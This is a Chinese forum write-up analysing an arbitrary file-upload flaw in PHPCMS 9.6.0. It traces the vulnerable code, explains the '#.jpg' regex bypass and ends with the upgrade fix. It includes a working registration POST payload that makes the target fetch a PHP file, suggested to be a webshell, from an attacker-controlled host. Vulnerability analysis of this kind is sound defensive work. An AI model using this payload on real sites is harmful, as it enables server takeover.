phpcmsv9.0任意文件上传漏洞解析

spider   ·   发表于 2021-09-26 19:48:14   ·   技术文章投稿区

0x01 漏洞介绍

PHPCMS 9.6.0版本中的libs/classes/attachment.class.php文件存在漏洞,该漏洞源于PHPCMS程序在下载远程/本地文件时没有对文件的类型做正确的校验。远程攻击者可以利用该漏洞上传并执行任意的PHP代码。

漏洞影响

文件上传可获取服务器权限

安装步骤

点击开始安装

一直点下一步,这里点第一个


这里只要填自己的数据库账号密码和邮箱即可
后台账号密码貌似默认是:phpcms/phpcms


等待中….

登陆后台的账号密码默认为phpcms/phpcms
像这样就安装成功了

代码分析

咱们先看看简化之后的poc

小伙伴们不难发现,这个poc是先发起了一个注册请求。其次在date的info字段里写入公网服务器的shell地址,被服务器读取到,从而上传至uploadfile。如何做到的?先看看/phpcms/modules/member/index.php文件中的register函数
我的目录结构是这样的,大家按照自己的来就好


打开文件之后,回头看poc的payload在$_POST[‘info’]中
我们定位到info的位置,更进一下,看看到底发生了什么才导致漏洞的产生


看到上面截代码的这一行
require_once CACHE_MODEL_PATH.'member_input.class.php';
该函数位于caches/caches_model/caches_data/member_input.class.php中,接下来函数走到如下位置:

由于我们的 payload 是info[content],所以调用的是editor函数,同样在这个文件中:

接下来的函数,执行$this->attachment->download函数进行下载的。
所以我们继续跟进,在phpcms/libs/classes/attachment.class.php文件中:


在143-186行中
因为缩小了好像看不见,所以我贴出来了

  1. function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
  2. {
  3. global $image_d;
  4. $this->att_db = pc_base::load_model('attachment_model');
  5. $upload_url = pc_base::load_config('system','upload_url');
  6. $this->field = $field;
  7. $dir = date('Y/md/');
  8. $uploadpath = $upload_url.$dir;
  9. $uploaddir = $this->upload_root.$dir;
  10. $string = new_stripslashes($value);
  11. if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
  12. $remotefileurls = array();
  13. foreach($matches[3] as $matche)
  14. {
  15. if(strpos($matche, '://') === false) continue;
  16. dir_create($uploaddir);
  17. $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
  18. }
  19. unset($matches, $string);
  20. $remotefileurls = array_unique($remotefileurls);
  21. $oldpath = $newpath = array();
  22. foreach($remotefileurls as $k=>$file) {
  23. if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
  24. $filename = fileext($file);
  25. $file_name = basename($file);
  26. $filename = $this->getname($filename);
  27. $newfile = $uploaddir.$filename;
  28. $upload_func = $this->upload_func;
  29. if($upload_func($file, $newfile)) {
  30. $oldpath[] = $k;
  31. $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
  32. @chmod($newfile, 0777);
  33. $fileext = fileext($filename);
  34. if($watermark){
  35. watermark($newfile, $newfile,$this->siteid);
  36. }
  37. $filepath = $dir.$filename;
  38. $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
  39. $aid = $this->add($downloadedfile);
  40. $this->downloadedfiles[$aid] = $filepath;
  41. }
  42. }
  43. return str_replace($oldpath, $newpath, $value);

小伙伴们,注意这一段
$ext = 'gif|jpg|jpeg|bmp|png'
还有这一段
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;

看到if,有一个正则匹配需要满足src/href=url.(gif|jpg|jpeg|bmp|png)
所以这就是为什么我们的payload是这样的。
<img src="http://192.168.123.130/phpinfo.txt?.php#.jpg">

因为程序会去除url中的锚点,经过$remotefileurls的处理,#.jgp就会被去除,
这也是为了绕过正则而要加的#.JPG
为了绕过正则而添加的.jpg。.jpg被去除后,就会变成.php后缀文件

实战

在测试之前,我们需要先准备一台虚拟机/VPS,要开启web服务,在web服务中写入phpinfo或者php一句话木马都行
往里边写phpinfo

你看我这种的,就代表着以及在web服务上写入txt文件

把上面步骤做好了,就可以开始了

点击注册

先在会员注册的地方随便写点内容,

点击注册抓包
然后把我构建好的payload,覆盖掉我们注册信息上
siteid=1&amp;modelid=11&amp;username=test2&amp;password=test2123&amp;email=test2@163.com&amp;info[content]=<img src="http://192.168.123.130/phpinfo.txt?.php#.jpg">&amp;dosubmit=1&amp;protocol=

访问这个回显的绝对路径


去机器上查看,也是存在的,因为我这边做了好几次,所以存在七八个phpinfo 哈哈哈

流量分析

payload的请求包

再点追踪流下的HTTP流进行分析


由此可见对我的机器发起了http访问


这样看直观一些


其次我再做了一个访问phpinfo的动作


请求与响应的http包

修复方法

把phpcms升级至9.6.1即可

用户名金币积分时间理由
奖励系统 100.00 0 2021-10-08 12:12:08 投稿满 10 赞奖励
奖励系统 50.00 0 2021-10-08 12:12:11 投稿满 5 赞奖励
Track-手电筒 70.00 0 2021-09-29 21:09:53 一个受益终生的帖子~~

打赏我,让我更有动力~

4 Reply   |  Until 2个月前 | 356 View

杀马特青龙
发表于 8个月前

大佬大佬

评论列表

  • 加载数据中...

编写评论内容

spider
发表于 8个月前

1

评论列表

  • 加载数据中...

编写评论内容

blackwolf
发表于 6个月前

大佬大佬

评论列表

  • 加载数据中...

编写评论内容

没勇气先生
发表于 2个月前

大佬大佬

评论列表

  • 加载数据中...

编写评论内容
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2022 掌控者 All Rights Reserved.